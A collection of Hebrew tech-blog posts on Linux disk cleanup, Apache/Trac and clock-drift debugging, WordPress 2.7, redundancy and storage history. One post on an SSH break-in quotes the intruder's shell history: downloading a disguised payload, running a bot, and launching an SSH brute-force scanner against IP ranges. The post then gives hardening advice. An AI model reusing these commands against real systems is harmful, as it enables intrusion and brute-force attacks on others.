מורידים את האשפה

היום הכוננים הקשיחים גדולים מתמיד, אבל אני עדיין מצליח להתקל במצבים כרוניים של חוסר מקום.
הסיבה לכך היא בעיקר שאני קמצן מדי כשאני מקצה מקום למחיצה הראשית של מערכת ההפעלה, בין אם זה הלינוקס שאני משתמש בו באופן שוטף שקיבל מחיצה של 24 ג'יגה (שנראתה גדולה מספיק כשהתקנתי אותו לפני שלוש-ארבע שנים), ובין אם זה חלונות המשחקים שלי שקיבל למחיצה הראשית רק 5 ג'יגה.

אז מדי פעם נגמר המקום וצריך למחוק זבל שהצטבר בכל מני פינות חשוכות של ההארדיסק.
הפרוצדורה הרגילה של כשנגמר לי המקום בדביאן היא למחוק לוגים ישנים, למחוק את המטמון של apt-get וסתם לתייר בהרדיסק ולחפש דברים גדולים.
כשנגמר לי המקום היום חשבתי שחייבת להיות דרך יותר נוחה, אז חיפשתי כזו:
[code]
root@main:~\# apt-cache search disk usage tree
kdirstat – graphical disk usage display with cleanup facilities
[/code]
נשמע מעניין, התקנתי וזה אכן בדיוק מה שרציתי.
kdirstat היא תוכנת KDE נחמדה שמאפשרת לראות בצורה נוחה אלו ספריות תופסות הרבה מקום, ואפילו לפעול לנקות אותן ישר מתוך התוכנה במגוון צורות (למחוק, לכווץ, להריץ make clean וכו').
היא מראה גם עץ ספריות שבו ברור כמה תופסת כל ספריה (עם כל המשפחה של הילדים שלה), וגם חיוון וויזואלי של כל הספריות כספריות גדולות הן ריבועים יותר גדולים (מגניב אבל לא מאוד שימושי).
בתמונה פה למשל, גיליתי שספריית הlocale תופסת 435 מגה, ונזכרתי שיש כלי בשם localepurge שמנקה אוטומטית קבצי locale לא רלוונטייים (בשפות אחרות מהשפות שהגדרתם שאתם מעוניינים בהם).
localepurge הצליח לנקות 470 מגה – כנראה הוא הצליח למצוא עוד קבצי תרגום תועים בכל מני חורים אחרים.

kdirstat

עוד ג'אנק ישן שהוא עזר לי לגלות זה קוד של קרנלים ישנים שקימפלתי בעבר, כשכל אחד תופס כמעט חצי ג'יגה!
והופה, לפני ששמתי לב – פתאום יש לי ארבע וחצי ג'יגה פנויים (במחיצה של 24 ג'יגה זה לא מעט בכלל).

למשתמשי חלונות המרובים שקוראים פה, תעברו ללינוקס.
סתם, יש לי גם כמה טיפים בשבילכם:
0. נסו את WinDirStat (ותודה לאריה)
1. תבטלו את הSystem restore ממאפייני המערכת, הוא תופס עשרות אם לא מאות מגה בייטים.
2. תזיזו את קובץ הדפדפוף למחיצה שונה מזו שחלונות מותקנת בה (שוב, מאפייני מערכת).
3. תזיזו את ספריית הTEMP למחיצה אחרת. (כן, ניחשתם – מאפייני מערכת)
4. תסירו תוכנות שמנות, ותתקינו אותן במחיצה אחרת.

Facebook Comments

הבאג שנלכד

מאז שעברתי לשרת החדש, היו לי בעיות עם שרת האפאצ'י: לפעמים הוא פשוט הפסיק לענות לבקשות, וחזר לעצמו רק אחרי restart.
בהתחלה לא היה לי ברור מה גורם לזה. חקרתי איך אפשר לראות מה עושה האפאצ'י בזמן שהוא רץ, וגיליתי את mod-status, שמאפשר לדעת מה עושה כל Worker באפאצ'י, ועוד כמה דברים שימושיים.
חיכיתי בסבלנות שהבעיה תופיעה שוב, וכשהיא קרתה אחרי כמה ימים – גיליתי כמובן שאני לא יכול לגשת לURL של mod-status בגלל הבעיה.
הצעד הבא היה לכתוב סקריפט קטן שידגום את הstatus של האפאצ'י כל שתי דקות וישמור את התשובה לקובץ.
אחרי כמה ימים הבעיה שוב קרתה והפעם ראיתי שרוב הWorkerים בשרת היו עסוקים בלנסות לדבר עם trac, שלא ממש ענה בגלל איזו שהיא בעיה עם בסיס הנתונים שלו.
פניתי לקבוצת הדיון של מפתחי trac, והם הציעו שאני אשדרג את sqlite (שהוא בסיס הנתונים שtrac משתמש בו ברוב ההתקנות), וגם ביקשו דברים שדורשים די הרבה זמן – כמו לקמפל את mod-wsgi עם מידע דיבאג, ולהתחבר אליו עם gdb ברגע שהעסק תקול כדי לראות מה הוא עושה.
שידרגתי, וכמובן שהבעיה לא נפתרה – אבל לא מצאתי זמן לעשות את מה שהם ביקשו.
בשלב הזה כבר הייתי די מעוצבן מזה שכל כמה ימים נופל לי האפאצ'י עד שאני בועט בו, והתקנתי את Monit, שמנתר את השרת ויכול להפעיל אותו מחדש אוטומטית אם הוא נופל (עוד על Monit בקרוב).
Monit איתחל את השרת תוך 4-5 דקות מרגע שהבעיה הופיע, וזה שינה את הסימפטומים מהמצב החמור של "השרת לא עונה לכמה שעות כל כמה ימים" למצב הנסבל של "השרת לא עונה לכמה דקות כל כמה ימים".
נסבל, וכדרכם של עצלנים, סבלתי עד שלפני כמה ימים Monit פישל ולא עבד משום מה, והשרת שוב היה למטה חצי לילה.
פניתי שוב לקבוצת הדיון של trac – הפעם מצויד בכל מידע הדיבאג שהם ביקשו, וסיפרתי להם שלמרות ששידרגתי הבעיה ממשיכה.
בינתיים ניסתי לראות איך אני משחזר את הבעיה – חיפשתי כלי לStress test לשרתי HTTP, משהו פשוט שיאפשר לי להפציץ URL בודד.
מצאתי את Siege, כלי פשוט שנותן בדיוק את זה.
בשימוש פשוט בSiege, גיליתי שאני מצליח להפיל את השרת אם אני מפעיל 15 משתמשים מול הURL של קו הזמן של trac, אחד הדפים הדורשניים ביותר במערכת.

במקביל פניתי לערוץ הIRC של טראק, ודיברתי עם osimons – אחד המפתחים של trac – על הבעיה.
גילינו שכשאני מריץ את Siege, טראק פותח את קובץ בסיס הנתונים מאות פעמים, מה שלא בדיוק הסתדר עם זה שיש בטראק Connection pooling.
המשכתי לחקור את העניין לבד, ובסוף גיליתי שהConnection pooling בכלל מכובה עבור חיבורי SQLite במכונות שלא מריצות… חלונות NT.
הגיוני? לא יודע. הפעלתי מחדש את העסק, ומאז נפתרה הבעיה.

כמובן שסיפרתי למפתחי trac על העניין, והיו להם כל מני הסברים מעניינים על הסיבה לעניין, אבל נראה שהם מסכימים שיש פה בעיה רצינית ואני מקווה שהתיקון שלי בצורה זו או אחרת יכנס לגרסאות העתידיות של trac.

עברתי לשרת החדש לפני כמעט חצי שנה, ובשעה טובה נפתרה הבעיה המציקה. לפעמים באגים הם ממש עיקשים וחמקניים.

Facebook Comments

The cake is a lie

כדור הארץ השלים את ההקפה ה31 שלו מאז שנולדתי.
בהמשך למסורת לבניית רשימה מקושרת, הנה לינק לפוסט היומולדת הקודם שלי.

מי שינסה לספור כמה לינקים כאלו יש, יגלה את אחד החסרונות של רשימה מקושרת – כדי לדעת את הגודל שלה צריך לעבור על כולה.

ולא לשכוח, The cake is a lie.

the_cake_is_a_lie_portal

Facebook Comments

הקיטשיות של הכותרות בThe Marker שוגרה ב12%, העקביות שלהם דהתה ב28%

hatach

אז שימו לב, נאסד"ק עלה 2.9%.
מארוול קפצה 20%, סאנדיסק זינקה ב25%, מה שאומר שזינקה זה יותר מקפצה.
עד פה הכל טוב.
סיוה הוסיפה 20%, מעניין שהיא לא קפצה 20% אלא רק הוסיפה.
סרגון איבדה 2.9% אבל קומברס התכווצה ב2.4%.
כנראה שלאבד זה יותר גרוע מלהתכווץ.
טאואר לעומת זאת, נחלשה ב10%, שזה הרבה יותר גרוע מלאבד או להתכווץ, מסתבר.
המגזר הפרטי לעומת זאת, לא איבד  התכווץ או נחלש.. הוא חתך בחודש נובמבר. אם הוא היה עושה את זה בתוך יום למשל, אין ספק שהוא היה נחשב כמנסר.
זה לא צחוק, לחתוך זה זה כמו לנסר, רק יותר עדין ועל יותר זמן.
אבל זה נורא כואב עדיין.

אני כותב תוכנה בחמש דקות שמצליחה להחליף את הכתב היצירתי שהשפריץ את הכותרת הזו.

Facebook Comments

בעיית שעון בשרתי לינוקס

לאחרונה נתקלתי בבעיה עיקשת וקשה לפיתרון:
השעון של אחד השרתים שאני אחראי אליהם החליט שדיוק זה לא הקטע שלו, ונדד משהו כמו ארבע שעות בכל יום.
סינכרון NTP יומי גרם לקפיצת זמן של 4-5 שעות בכל פעם, וברור היה שצריך לפתור את הבעיה האמיתית.
החשוד המיידי בבעיות שעון בדרך כלל הוא הBIOS או הסוללה של הCMOS, והפתרון הכי זריז אם זו אכן הבעיה היא להעביר את הדיסק של השרת למכונה אחרת.
חברת ההוסטינג עשתה את זה, והתברר שזה לא פתר את הבעיה.
כדי לעשות דברים יותר מעניינים, אני אוסיף ואגיד שיש בחווה ארבעה שרתים, חלקם עם חומרה כמעט זהה לזו של השרת המאחר והם לא סבלו מהבעיה.
בנוסף, כל השרתים הריצו דביאן Etch עם קרנל 2.6.18 סטנדרטי של דביאן (שהיא הגרסא הרשמית של דביאן Etch), בהבדל אחד: המכונה המאחרת הריצה קרנל של 64 ביט.
לא משהו שאמור לגרום לכזו בעיה, אבל בכל זאת הבדל.
השוואה של קבצי הקונפיגורציה של הקרנלים (בדיביאן קרנלים סטנדרטיים מגיעים עם קובץ הקונפיגורציה שאיתו קומפל הקרנל והוא יושב בספריית /boot) הראתה הבדל מעניין בין הקרנל המאחר לבין אלו שלא:
הקרנל המאחר לא קומפל עם GENERIC_TIME, והאחרים כן.
עדיין לא מוכיח כלום, אבל מעניין.
מסתבר שבלינוקס יש כמה מקורות לעדכון השעון הפנימי, חלקם מדוייקים יותר, חלקם מדוייקים הרבה פחות.
המקורות של הקרנל שרץ כרגע זמינים בקובץ
[code]
/sys/devices/system/clocksource/clocksource0/available_clocksource
[/code]
במכונה המאחרת היה זמין רק מקור אחד עם שם מוזר: jiffies
שהוא גם המקור הכי לא מדוייק שיש (למעשה הקרנל מעדכן איזה משתנה פנימי בקצב שאמור להיות תואם את המציאות, מה שלא ממש עובד)

במכונות האחרות היו זמינים כמה מקורות: acpi_pm jiffies tsc pit

ברגע שעידכנתי את הקרנלים בכל המכונות לגרסא 2.6.26, הבעיה נפתרה ולכל השרתים היו את אותם מקורות שעון.

Facebook Comments

הבאג שחמק

לפעמים באגים מצליחים לחמוק מבין חריצי השרת ונעלמים במרחבי האינטרנט.
חדי העין שמו לב שהפוסט על בנק הפועלים הופיע במשך היום פעמיים.
אירוניה של ממש בהתחשב בזה שהפוסט מדבר על יתירות (Redundancy).
הפוסט הכפיל את עצמו ואת כל התגובות שלו אחרי שערכתי אותו, ולא היה לי ברור איך להיפטר מזה.
שמתי לב שלשני הפוסטים היה בדיוק את אותו ID, מה שגרם לי לחשוש שאם אני אמחק אחד השני יעלם ביחד איתו, אז לא מיהרתי "לתקן" את הבעיה.

לפני כמה ימים משתמש של פיירסטטס התלונן על בעיה מוזרה, שאלתי אותו באיזו גרסאת וורדפרס הוא משתמש, והסתבר שהבחור משתמש ב2.7-beta3 או משהו כזה.
כדי לבדוק את הבאג הורדתי את הגרסא האחרונה של וורדפרס למחשב המקומי, ותיקנתי אותו , ועל הדרך התרשמתי מאוד לטובה מהוורדפרס הממשמש ובא.

כשנתקלתי בבאג הזה, חשבתי לעצמי שאולי זה משהו שתוקן בוורדפרס החדש, אז העתקתי את בסיס הנתונים של הבלוג הזה לבסיס נתונים עם שם אחד, וניסיתי אותו עם וורדפרס 2.7 חדש ישר מהSVN, בלי ערכת נושא ובלי פלאגינים.
הפתעה: עבד בלי הבאג.
המסקנה המתבקשת: מה שזה היה, זה תוקן ב2.7.
החלטתי לשדרג את הבלוג הזה.

שידרגתי, העתקתי את ערכת הנושא ואת הפלאגינים לבלוג 2.7 אחר (לא זה שאיתו בדקתי קודם).
הפתעה: הבאג חזר.

חשבתי לעצמי, זה באג בן זונה חמקמק.
בטח משהו נדפק בבסיס נתונים. ניסיתי להחליף את הבסיס נתונים של הבלוג בדיקות (שמבוסס כאמור על עותק של בסיס הנתונים הזה) עם הבלוג הזה, והבאג נשאר.
חשבתי : טוב נו, אם זה לא בסיס הנתונים זה משהו בקבצים.
התחלתי שוב מאפס, בלי פלאגינים והפעם זה עבד.
אחרי התבחבשות לא קצרה, שבמהלכה האשמתי את ערכת הנושא, ואחר כך את הפלאגינים הגעתי למצב ששיחזרתי את ערכת הנושא ואת כל הפלאגינים שרציתי אחד אחד, וכשסימתי הבעיה לא חזרה.
הבאג הצליח להימלט.
אני חושד שהוא קשור לאיזה תוסף שהיה מותקן לי – משהו של מיניפוסטים, אבל מכיוון שהוא נכשל בהפעלה אני לא יכול להיות בטוח. בכל מקרה לא השתמשתי בתוסף הזה אז זה לא ממש משנה.

בשורה התחתונה, אני עכשיו על וורדפרס 2.7 שעדיין לא יצא, ואני חייב לצין שהוא יפה במיוחד.
השינוי המרכזי ביותר הוא שממשק הניהול עבר שדרוג מאסיבי, גם מבחינת עיצוב וגם מבחינת פונקציונליות.
אפשר לגרור ולארגן את הווידג'טים שבדשבורד עם העכבר, ויש תפריט חדש ואלגנטי.
אין מה להגיד, ממשק הניהול החדש נראה ממש טוב.
אחד הפיצ'רים הנחמדים – שאני משתמש בו ברגעים אלו ממש הוא QuickPress, שזה בעצם בלוק בדאשבורד של וורדפרס שמאפשר לפרסם פוסטים קטנים ישר מתוך הדשבורד – בלי להכנס למסך עריכת הפוסט.
למה קטנים? כי העורך פה מצומצם בגודל וממשק המשתמש פשוט במיוחד.
זה לא הפריע לי לכתוב את הפוסט הזה (שהוא לא קטן במיוחד) ישר משם, רק כדי לבדוק את זה.
כהערת ביניים : בעיה ראשונה שמצאתי היא שההכנסת תמונה לתוך הפוסט לא עובדת במצב הזה, אבל אני בטוח שזה יתוקן.

טוב, אני הולך לפרסם את הפוסט ולסיים לערוך אותו מממשק העריכה הרגיל.

טוב, הצלחתי אחרי שכיביתי את הפלאגין שמוסיף את הPreview pane.

דבר מעניין הוא שתפריט הנייוט הצידי נשאר גם פה, מה שמאפשר ניווט גם תוך כדי עריכת פוסטים.
ניסיון לנווט מקפיץ חלון אזהרה נדרש.

במהלך המשחקים שלי, פיירפוקס קרס פתאום – רגע הוא היה שם ורגע אחרי הוא פשוט נעלם.
בכניסה מחדש וורדפרס איפשר לי לשחזר ולהשוות גרסאות קודמות שנשמרו אוטומטית בממשק ברור ופשוט.

העורך הוויזואלי הוא די איטי, אבל אני לא בטוח שזה חדש (רק לאחרונה הפעלתי מחדש את העורך הוויזואלי אחרי חודשים ארוכים שעבדתי עם העורך הפשוט).

טוב, ולסיכום – צילומסך של ממשק הניהול (בתקווה שהשוא"ש לא יעוף שוב) :

WordPress 2.7 Dashbaord

Facebook Comments

בנק הנופלים

אם מישהו היה אומר לי לפני שבועיים שייתכן מצב שבו בנק פועלים סובל מתקלה שמנטרלת את מערך המחשוב שלו ליומיים שלמים, הייתי חושב שהוא מקשקש.
כשמפעילים מערכת קריטית – ובנק הוא מערכת קריטית, חשוב לבנות את המערכת עם מנגנוני יתירות (redundancy) ככה שגם כשמשהו קורס (ומשהו יקרוס בשלב מסויים, זה ברור), המערכת כולה לא תקרוס כי משהו יתפוס את מקומו בצורה שקופה.
דוגמאות לזה אפשר לראות בהרבה מקומות, למשל:

  • שרתי DNS תמיד מוגדרים לפחות בזוגות, ככה שאם הראשון נופל השני תופס את מקומו והמשתמשים אפילו לא יודעים שמשהו קרה.
  • ברוב תצורות הRAID, אם נופל כונן קשיח המערכת ממשיכה לעבוד כרגיל, ואפשר להחליף אותו בלי לאבד נתונים.
  • אפשר ורצוי להגדיר את הDNS בצורה כזו שאם שרת דואר נופל, שרת דואר חלופי יקבל את ההודעות בצורה שקופה למי ששולח את הדואר.
  • יש לנו שתי ריאות, שני כבדים, שתי כליות, שתי עיניים, שתי אוזניים.. 🙂

הנקודה היא שמי שלוקח את עצמו ברצינות, ידאג שלא תהיה לו נקודת כשל יחידה.

לפני כמה ימים המחשב המרכזי של בנק הפועלים קרס "עקב תקלה נדירה במערכת ההפעלה", ובנק פועלים היה מושבת ליומיים, בהם הבורסה טולטלה, ולקוחות בנק הפועלים לא יכלו להגיב.

בתור מערכת קריטית, בנק הפועלים אמור היה להיות חסין לקריסה כזו, ובכל זאת "תקלה נדירה" הצליחה להפיל אותו.

במערכת עם יתירות, יש הסתברות מסויימת לכך שתהיה קריסה של כל אחד מהרכיבים, נניח שהמערכת היא שרת עם מערך RAID, ונניח שהכוננים הקשיחים הם ממש דפוקים והסתברות לקריסה של אחד מהם בכל רגע נתון הוא 1%.
נניח גם שהמערכת מסוגלת להתמודד עם כונן אחד שקרס בלי לאבד מידע, אבל לא עם שניים.

עכשיו – מה הסיכוי ששני כוננים קשיחים יקרסו באותו רגע?

ההסתברות במקרה הזה היא מכפלת ההסתברויות להסתברות לארוע בודד, כלומר 0.01% (זאת כמובן בהנחה שהמאורעות בלתי תלויים, דוגמא למאורעות תלויים היא הפסקת חשמל שגרמה לקצר שדפק שני כוננים).
בצורה דומה ההסתברות לקריסה של שלושה כוננים היא כבר 0.0001% וכן הלאה.

אפשר לראות שככל שהיתירות שלנו גדלה בכל נקודה קריטית, הסיכוי לארוע שיפיל את המערכת קטנה בצורה מאוד מהירה, אבל היא עדיין קיימת. הנקודה היא שאם מבינים את המערכת בצורה טובה, אפשר לשלוט בהסתברות לארוע קטסטרופלי ולהקטין אותו עד לרמה נמוכה מספיק (למשל רמה כזו שההסתברות לרעידת אדמה שתמחק את ישראל היא הרבה יותר גבוהה).

כמובן שבעולם האמיתי דברים מסתבכים, כי בדרך כלל יש תלות בין רכיבים והרבה פעמים קריסה של רכיב אחד גורמת תגובה שרשרת שיכולה להפיל רכיב אחר לגמרי.
כל זה עדיין לא מצדיק את הקריסה של המחשב של בנק הפועלים, שלדעתי עלתה להם מליונים רבים ועוד תעלה להם מליונים רבים עוד יותר כשיפגע בהם גל התביעות.

מה לדעתכם קרה שם?

Facebook Comments

סיסמאות קלות מדי

לא כיף לקום בבוקר ולראות בתיבת האימייל שלכם הודעה על כך שיצאה התקפת SSH מהשרת שלכם ושהוא כנראה נפרץ.
ככה בדיוק התחיל היום שלי אתמול.

נכנסתי לשרת, חצי נבוך וחצי לא מאמין – וראיתי שאחד המשתמשים מחובר.
הצצתי בקובץ .bash_history שלו, שמכיל את רשימת הפקודות האחרונות שהוא הריץ (אם הוא לא מספיק חכם כדי למנוע מBASH לרגל אחריו, הוא לא האקר מי יודע) , וזה אכן נראה חשוד.
הנה חלק ממה שעשה התכשיט:
[code]
wget **.***.com/botflod.jpg
tar zxvf botflod.jpg
cd …
ls -a
rm -rf *.seen
ls -a
vi mech.set
vi 1
./httpd
ps x
kill -9 21036
w
cat vuln.txt
cat /proc/cpuinfo
cd ..
ls -a
ftp -v alexhk.ueuo.com
ftp -v alexhk.ro
tar zxvf ssh.tgz
cd ssh
./a 199.3
./a 82.211
./a 222.126
./a 89.171
./a 71.249
./a 218.80
./a 218.106
./a 194.116
[/code]

שיניתי את הסיסמא של המשתמש, והרגתי את כל התהליכים שרצו תחת שם המשתמש שלו (מה שכמובן ניתק את המשתמש)
[code]
killall -u username
[/code]
מכיוון שאני די פרנואידי (אבל מסתבר שלא מספיק) בכל מה שקשור לאבטחה, תכננתי את השרת ככה שמשתמש רגיל לא יכול לעשות שום דבר חוץ מלדפוק את עצמו, ולכן הייתי יותר רגוע כשהבנתי שהוא לא השיג גישת ROOT.
אז איך הוא נכנס?

פשוט מאוד – סיסמא קלה.
שם המשתמש שייך למשתמש חדש שבחרתי לו סיסמא קלה והגדרתי שהוא חייב לשנות אותה בכניסה הראשונה.
המשתמש האמיתי עדיין לא נכנס, ולכן הסיסמא הקלה נשארה.

מה שהפורץ עשה אחרי שהוא ניחש את הסיסמא זה להפעיל סורק SSH שהתחבר לכתובות IP באופן שיטתי (אפשר לראות שהוא ניסה תחומי כתובות שלמים) ופשוט ניחש סיסמאות לפי קובץ סיסמאות מוכן.
מספיק שהוא יצליח להיכנס בשבריר אחוז מהנסיונות כדי להרחיב את רשימת השרתים שיש לו אליהם גישה.
בטח על חלק מהשרתים הוא גם מצליח להשיג גישת ROOT באותה שיטה.

אז מה עושים כדי להימנע מזה בעתיד?
קודם כל, לא בוחרים סיסמאות קלות, אפילו לא לזמן קצר (שעלול להמתח לזמן ארוך בלי שתדעו).
בשביל זה יש כלים פשוטים שמייצרים סיסמאות מאובטחות.
הבעיה עם סיסמאות מאובטחות היא שבדרך כלל קשה מאוד לזכור אותן.
יש כמה כלים שיודעים לייצר סיסמאות שגם קל לזכור, למשל gpw (Generate password) שנמצא בחבילת דביאן עם שם תואם.
gpw מייצר סיסמאות שניתן להגות, מה שעוזר לזכור אותן, למשל:
[code]
$gpw
outskyst
omaticts
liestogg
erlishit
duckslyt
ityingli
fackersa
sappityr
rachecke
lithhoss
[/code]
אז בתור התחלה, אפשר להשתמש בgpw כדי לבחור סיסמאות למשתמשים חדשים.

צעד מתבקש נוסף הוא לדרוש מורכבות מינימלית מסיסמאות של משתמשים, בשביל זה אפשר להשתמש בPAM ובCracklib.
כמו תמיד עם דביאן, זה יותר פשוט ממה שזה נשמע:
[code]
apt-get install libpam-cracklib
[/code]

ואז עריכת הקובץ /etc/pam.d/common-password והוספת הערה לפני השורה הראשונה, והסרת ההערות מהשתיים האחרות:
[code]
#password required pam_unix.so nullok obscure min=4 max=8 md5

password required pam_cracklib.so retry=3 minlen=6 difok=3
password required pam_unix.so use_authtok nullok md5
[/code]

אפשר גם לדרוש החלפה של הסיסמא לכל היותר תוך מספר ימים מסויים על ידי עריכה של /etc/login.defs ושינוי הערך של PASS_MAX_DAYS

בדיקה נוספת שאפשר לבצע היא בדיקה שיטתית של הסיסמאות במערכת שלכם הן חזקות או לא על ידי הפעלת תוכנה שמנסה לפרוץ אותן באופן קבוע.
תוכנה כזו היא john המרטש שמנסה לפרוץ את הסיסמאות המקומיות ממש כאילו היא האקר עויין, רק שאם היא מצליחה היא תדווח לכם ואם תרצו גם למשתמש הספציפי שהסיסמא שלו חלשה.
מכיוון שהוא רצה כROOT היא יכולה לבצע את נסיון הפריצה ישירות על הקובץ, מה שיהיה יעיל יותר מאשר לנסות להיכנס דרך SSH.
בהתקנת ברירת המחדל בדביאן ג'והן המרטש מתקין ג'וב קרון שרץ בלילה בין 1 בלילה ל7 בבוקר (זמן שרת), אבל צריך לאפשר אותו על ידי הסרה של ההערות מהשורות הבאות בקובץ /etc/cron.d/john (פשוט מחיקת ה# המקדימים)
[code]
#00 1 * * * root [ -x /usr/share/john/cronjob ] && nice /usr/share/john/cronjob start
#00 7 * * * root [ -x /usr/share/john/cronjob ] && /usr/share/john/cronjob stop
[/code]

כלי נוסף שאפשר להתקין הוא tripwire שעוקב אחרי שינויים בלתי קרואים לקבצי מערכת.
הזמן הנכון להתקין את tripwire הוא לפני שהמערכת שלכם נפרצה (ואני מדבר על פורץ שהשיג גישת ROOT).
אחרי ההתקנה עם apt-get עקבו אחרי ההוראות הפשוטות פה כדי ליצור את בסיס הנתונים שמולו tripwire יזהה שינויים בעתיד.
מומלץ מאוד לאכסן את בסיס הנתונים של tripwire במקום ללא גישת כתיבה כדי למנוע מתוקף עם גישת ROOT לשנות את בסיס הנתונים ובכך להסתיר את השינויים שהוא עשה.

אני בטוח שיש עוד הרבה דברים פשוטים שאפשר לעשות, מה אתם עושים?

Facebook Comments

ההיסטוריה של הבייט

בהתחלה היה XT, ובXT שני כונני 5 ורבע אינץ' שקראו דיסקטים גמישים – כמו שנאמר, פלופיס.
ובפלופי 360K בלבד, 180K בכל צד.
באותה תקופה מערכת הפעלה שלמה, דוס (2.0 היא הגרסא הראשונה שאני זוכר) נכנסה בכזה דיסקט, יחד עם אוסף תוכניות שימושיות:
format, diskcopy,chkdsk,edlin,attrib ועוד.
היו גם דיסקטים קטנים של 720K, אבל הם היו פחות נפוצים.

חלק מהמשחקים באותה תקופה הגיעו בלי מערכת הפעלה, ועשו BOOT ישירות לתוך המשחק.
חלק הגיעו עם קבצי המערכת של דוס, בדיוק מספיק כדי להעלות דוס ואז את המשחק.
בימים האלו לא היה נדיר לראות דיסקט 360K שמתהדר בכיתוב "10 משחקים", רובם גרועים במיוחד – אבל פה ושם היו פנינות כמו ציפור קופצת או דיגר.

בהמשך הופעו משחקים שתפסו דיסקט שלם, ולא עבר הרבה זמן והופיעו משחקים שתפסו שני דיסקטים של 360K, למשל הנסיך הפרסי או דאבל דרגון.
באותם ימים התחלתי ללמוד איך משמשים בדוס, ואיך מקלקלים דברים. למשך, הידעתם שאם מוחקים את כל הקבצים המיותרים ממשחק (הכל חוץ מקובץ הEXE) כדי לעשות מקום לעוד משחקים הוא מפסיק לעבוד? 🙂

אני חושב שהמשחקים הראשונים שפרצו את מחסום שני הדיסקים היו קווסטים של סיירה. אם אני זוכר טוב, קינג'ס קווסט 4 כבר הכיל איזה 4 דיסקטים.

עברו כמה שנים, והופיע מחשב חדש: ה286, עם כונני דיסקטים מרשימים – 1.2 מגה ו1.44 מגה.
כמו כמה וכמה דיסקטים של 360K.
מהר מאוד משחקים התחילו לתפוס יותר ויותר מקום, רובין הוד של סיירה למשל, תפס כ7 דיסקטים של 1.2!
דיסקטים היו אחת המדיות הכי לא אמינות בהיסטוריה. והם היו גם יקרים מאוד. 10 דיסקטים של NASHUA שנחשבה חברה איכותית מאוד עלו כ80 שקל, ואני מדבר על 80 שקל בימים שבהם השקל היה שקל.
בנוסף, דיסקטים נטו לצבור סקטורים רעים במשך הזמן, בגלל טביעות אצבעות, אבק וסתם איכות ירודה של המשטח המגנטי שעטף אותם. מכוון שהם היו כל כך יקרים, אנשים נטו לשמור דיסקטים למשך שנים, וברור שזה גרם לכך שחלק גדול מהדיסקטים של אנשים היו דפוקים.
לא שזה הפריע להם להעתיק כמו מטורפים.
אני זוכר שהייתי הולך לחברים עם שקיות מלאות דיסקטים, וחוזר עם דיסקטים קצת יותר כבדים :).
עוד שיטה להעתיק היתה לשלוח דיסקטים בדואר לחבר מקומבן, ולקבל אותם חזרה מלאים כל טוב.
כמובן שהשיטות האלו גם עזרו להפיץ ווירוסים, שרכבו על הדיסקטים מסביב לעולם.

בסביבות 94 הסידירום התחיל לצבור תאוצה, ומשחקים שהופצו על סידים התחילו להופיע.
כל סידי מכיל כ650 מגה, שזו קפיצה משמעותית מאוד מהדיסקטים של 1.2 ו1.44 מגה שהיו נפוצים עד אז.

כמו תמיד, התעשיה מצאה מה לעשות בכל המקום הזה, וחיש מהר ראינו משחקים כמו Under a killing moon שישב על ארבעה דיסקים, ופנטסמגוריה שישב על שבעה דיסקים (!).
המשחקים האלו לא בדיוק עשו שימוש יעיל במקום :היה תוכן כפול בין הדיסקים, וקטעי הווידאו היו מכווצים בטכנולוגיה פרימיטיבית שלא כיווצה בצורה יעילה כמו קודקים מודרניים.
כמובן, לרוב האנשים לא היה צורב דיסקים, ודיסקים ריקים היו יקרים גם ככה. מצד שני, אנשים עדיין רצו לשחק במשחקים החדשים.
אז איך מעתיקים משחק של 650 מגה עם דיסקטים?
עוקפים את הבעיה על ידי הסרה של תוכן שמן ומיותר מהמשחק, בעיקר קטעי הווידאו. תעשית העתקות המשחקים התחילה לשחרר משחקים בפורמט CD-RIP, מה שאומר שאיזה האקר ישב וגילח מהמשחק מה שאפשר כדי להקטין אותו תוך שהוא מנסה לשמור על כמה שיותר משחק בפנים.
מטבע הדברים, המשחק היה פחות מהנה ככה, אבל עדיף משחק חלקי ממשחק שצריך 500 דיסקטים (נגועים בסקטורים דפוקים) כדי להעביר ממקום למקום.
בד בבד עם גדילת המשחקים, גדלו הדיסקים הקשיחים.
ההרדדיסק הראשון שלי היה בנפח 80 מגה, מה שהיה המון באותה תקופה כי לכל מי שהיה הרדיסק היה 40 מגה.
80 מגה נראה כמו אינסוף מקום כשמשחקים תופסים שניים שלושה דיסקטים של 360K, אבל הרבה פחות כשהתחילו משחקים שתופסים כמה מגה בייט כל אחד.
הדיסק הבא שלי היה 320 מגה, ואז 540, ואז 800, ואז 1.3 ג'יגה.
כל פעם נראה היה כאילו בעית המקום נפתרה.
רק נראה.

כשחלונות 95 הגיעה, כל המשחקים נכתבו עבור דוס ונראה היה כאילו אין הגיון בלהריץ משחק תחת חלונות, שזוללת משאבים.
עם הזמן יותר ויותר משחקים נכתבו לחלונות, ופחות ופחות עבור דוס והיום חלונות היא מערכת ההפעלה עם הכי הרבה משחקים.
חלונות 95 עצמה הגיעה על 13 דיסקטים של 1.2 בלבד, או על סידירום.

בסביבות 95 פורמט חדש בשם MP3 התחיל לצבור תאוצה, כל קובץ מוסיקה שלו תפס כ3-4 מגה במקום כמה עשרות קילובייטים לקובץ מסוג MOD או S3M. ההבדל הוא שMP3 נשמע כמעט בדיוק כמו המקור (טוב, בהשוואה לסטנדרטים של פעם – איכות הקידוד המקובלת היתה די נמוכה כדי לחסוך מקום).
את קובץ הMP3 הראשון שלי ניגנתי על 486DX100 (של AMD), והוא בקושי סחב אותו – כן, פעם ניגון MP3 היתה משימה שלא כל מחשב עמד בה.
הפריחה הגוברת של קבצי הMP3 יצרה צורך גדל והולך בעוד ועוד מקום, כאשר אלבום תפס בMP3 כ50-60 מגה.
כמה שנים עברו, צורבי סידירום הפכו לדבר שבשגרה, וסרטים שלמים התחילו להופיע ברשתות שיתוף הקבצים (בזמנו אי-דונקי, IRC וניוז-גרופס), סרט בפורמט ASF (קודק של מייקרוסופט באיכות מזעזעת) שקל כ300-350 מגה, וכשהופיע הקודק DivX כמעט כולם עברו אליו. סרט בDivX שוקל כ600-700 מגה, אבל האיכות בהשוואה לASF היא אסטרונומית.
עם הזמן גם מהירות העברת הקבצים גדלה, החל מימי המודמים שהעבירו קילובייטים ספורים בשניה וכלה בADSL/כבלים של ימינו שמעבירים מאות קילובייטים בשניה (ובקרוב מגה-בייטים בשניה), כמובן שכשאנשים מורידים יותר הם צריכים יותר מקום.
